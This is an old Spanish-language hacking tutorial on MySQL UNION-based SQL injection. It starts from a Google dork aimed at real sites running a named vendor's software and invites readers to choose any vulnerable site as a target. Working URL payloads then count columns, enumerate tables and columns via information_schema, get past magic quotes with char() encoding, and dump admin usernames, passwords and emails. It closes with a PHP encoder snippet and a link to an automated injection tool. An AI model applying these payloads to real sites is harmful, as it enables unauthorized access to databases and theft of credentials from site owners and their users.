Mysql Inyexion by n0body

Bueno, aqui me lanzo con mi primer articulo sobre inyeccion sql, en el cual abordare desde el testeo de la vulnerabilidad hasta la obtencion de toda la

informacion de la base de datos, tambien mostrare los errores comunes y como solucionarlos para obtener el resultado esperado.

Lo primero es buscar un sitio vulnerable, no seremos muy selectivos con el objetivo ya que es solo para aprender la tecnica.


====================================================
Google Dork : inurl:".php?id=" Powered by www.dowgroup.com
====================================================

Para este caso utilizaremos este dork entregado por P47r1ck en el foro de darkc0de.com, desconozco si fue el quien encontro el bug pero no viene al caso de

este tuto. Aprovecho de paso de mandarle saludos (Regards P47r1ck)
Si ingresamos ese dork apareceran una gran cantidad de sitios vulnerables incluyendo el de dowgroup.com pero ud elijan el que mas les acomode, para este

ejemplo utilizaremos:

http://vuln.site/division.php?id=


vamos a testear si es vulnerable visitandolo e inyectandole algo para ver como responde...

http://vuln.site/division.php?id=9'

y nos da algo como...

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/vuln.site/public_html/division.php on line 10

Entonces estamos ok.

Comenzamos con lo tipico...ver el numero de columnas..

http://vuln.site/division.php?id=-1+union+select+1 error...
http://vuln.site/division.php?id=-1+union+select+1,2 error...
http://vuln.site/division.php?id=-1+union+select+1,2,3 error...
http://vuln.site/division.php?id=-1+union+select+1,2,3,4

no aparece error entonces ya podemos comenzar a efectuar consultas mas robustas...

http://vuln.site/division.php?id=-1+union+select+1,concat_ws(char(58),version(),user(),database(),now()),3,4--

explicare un poco esta consulta si se fijan reemplaze en el numero 2 (pudo haber sido cualquiera de los 4 numeros)por:

concat_ws(char(58),version(),user(),database(),now())

concat_ws() funcion que permite concatenar cadenas pero se le pasa como parametro el caracter para separar estas cadenas concatenadas, en este caso use como
separador los dos puntos(:) o char(58).
Tambien se puede utilizar la funcion concat() pero es cuestion de gustos...

version()= entrega la version del motor de base de datos.
user() = esta claro no??
database()= el nombre de la base de datos.
now()= la fecha actual.

La salida a esta consulta deberia verse como esta:

5.0.45-community:dummy_user1@r19p.nsvulnwebhost.com.ar:vuln_db1:2008-06-28 05:01:30

Seguimos... ahora que tenemos el nombre de la base de datos debemos encontrar los nombres de las tablas y luego el de las columnas hasta obtener el valor de

los campos...


Manos a la obra se viene lo mas duro...

Obtencion de nombre de tablas:

Para obtener el nombre de las tablas usaremos la funcion information_schema.tables, la cual con el nombre de la base de datos mas la funcion limit podremos
obtener todos los nombres de las tablas.
Se utiliza de la siguiente manera...


http://www.vuln.site/division.php?id=-1+union+select+1,table_name,3,4+from+information_schema.tables+where+table_schema='vuln_db1'+limit+0,1--

Analizemos:


donde hiba el numero 2 coloque table_name y al final de los numeros de las columnas agregue:

+from+information_schema.tables (funcion que nos entrega el nombre de la tabla)
+where+table_schema='vuln_db1' que es la base de datos
+limit+0,1-- que es la funcion que me permitira ir recorriendo la base de datos para obtener todos los nombres de las tablas...

Pero resulta que esta consulta esta bien estructurada y escrita pero NO FUNCIONA...lo que pasa es que el servidor este tenia el Magic_quote: ON, por lo tuve
que transformar el nombre de la base de datos a caracteres ascii: y me quedo asi:

vuln_db1 = char(118,117,108,110,95,100,98,49)

Reemplace en la consulta anterior por lo que me quedo asi:


http://www.vuln.site/division.php?id=-1+union+select+1,table_name,3,4+from+information_schema.tables+where+table_schema=char(118,117,108,110,95,100,98,49)

+limit+0,1--


y bueno la respuesta es:

admin (he aqui el nombre de la primera tabla de la base de datos), ahora debemos modificar el valor de la funcion limit para ir obteniendo las demas tablas.


http://www.vuln.site/division.php?id=-1+union+select+1,table_name,3,4+from+information_schema.tables+where+table_schema=char(118,117,108,110,95,100,98,49)

+limit+1,1--

division


http://www.vuln.site/division.php?id=-1+union+select+1,table_name,3,4+from+information_schema.tables+where+table_schema=char(118,117,108,110,95,100,98,49)

+limit+2,1--

dynamic_pages


y asi hasta que NO nos entregue mas datos.

Ahora que tenemos el nombre de las tablas obtendremos el nombre de las columnas de dicha tabla y nos valdremos de la funcion:
information_schema.columns.

La consulta nos quedaria mas menos asi:



http://www.vuln.site/division.php?id=-1+union+select+1,column_name,3,4+from+information_schema.columns+where+table_schema=char(118,117,108,110,95,100,98,49)

+and+table_name=char(97,100,109,105,110)+limit+0,1--


que cambio con respecto a la consulta anterior??

que donde hiba table_name colocamos ahora column_name y la funcion information_schema.table paso a ser information_schema.columns ademas se agrego un and mas

el nombre de la tabla en ascii(admin=char(97,100,109,105,110).
El procedimiento sera el mismo iremos modificando el valor de limit hasta que no nos entregue resultados...


Que salida nos da:

admin_id (primera columna de tabla admin)

luego modificamos el limit


http://www.vuln.site/division.php?id=-1+union+select+1,column_name,3,4+from+information_schema.columns+where+table_schema=char(118,117,108,110,95,100,98,49)

+and+table_name=char(97,100,109,105,110)+limit+1,1--

user_name


http://www.vuln.site/division.php?id=-1+union+select+1,column_name,3,4+from+information_schema.columns+where+table_schema=char(118,117,108,110,95,100,98,49)

+and+table_name=char(97,100,109,105,110)+limit+2,1--

Password (esto se va poniendo interesante jejeje)


http://www.vuln.site/division.php?id=-1+union+select+1,column_name,3,4+from+information_schema.columns+where+table_schema=char(118,117,108,110,95,100,98,49)

+and+table_name=char(97,100,109,105,110)+limit+3,1--


email

y luego no entrego mas columnas por lo que concluimos que se acabaron los datos de esa tabla. El procedimiento para obtener los datos de las otras tablas es

igual solo se debe pasar el nombre de la tabla a ascii y reemplazarce en el campo table_schema.

Ahora para cumplir con lo prometido leeremos desde la tabla admin el admin_id, user_name, Password y el email...


http://www.vuln.site/division.php?id=-1+union+select+1,concat_ws(char(58),admin_id,user_name,password,email),3,4+from+admin--


y nos dara como resultado...


1:admin_vuln:yeyea:root@vuln.site

Y vuala asi es como se realiza una injeccion sql.

Espero haberles aclarado algo el panorama a todos aquellos que recien se inician, recuerden todo lo aqui expuesto es con fines meramente educativos y no me

hago responsable del daño que puedan causar con esta informacion.


Para pasar la cadena a valores ascii pueden utilizar la siguiente funcion en php:

$texto=$_POST['texto'];
if($submit)
{
$char="char(";
for($k=0; $k<=strlen($texto)-1; $k++)
{
$char.=ord($texto[$k]);
if ($k==strlen($texto)-1)
{
$char.=")";
}
else
{
$char.=",";
}
}
?>

la cual se envia desde un formulario mediante el metodo post... y la suben a algun server, o mas facil pueden utilizar el encoder programado por c1c4tr1z

en:http://www.new-bytes.net/encode/

Adjunto tambien un link de descarga de una aplicacion que realiza este trabajo en forma automatica...

http://darkc0de.com/others/schemafuzz.py



Saludos a c1c4tr1z,0zx,whk,p47r1ck and JosS.

atte,
n0b0dy

0 comentarios: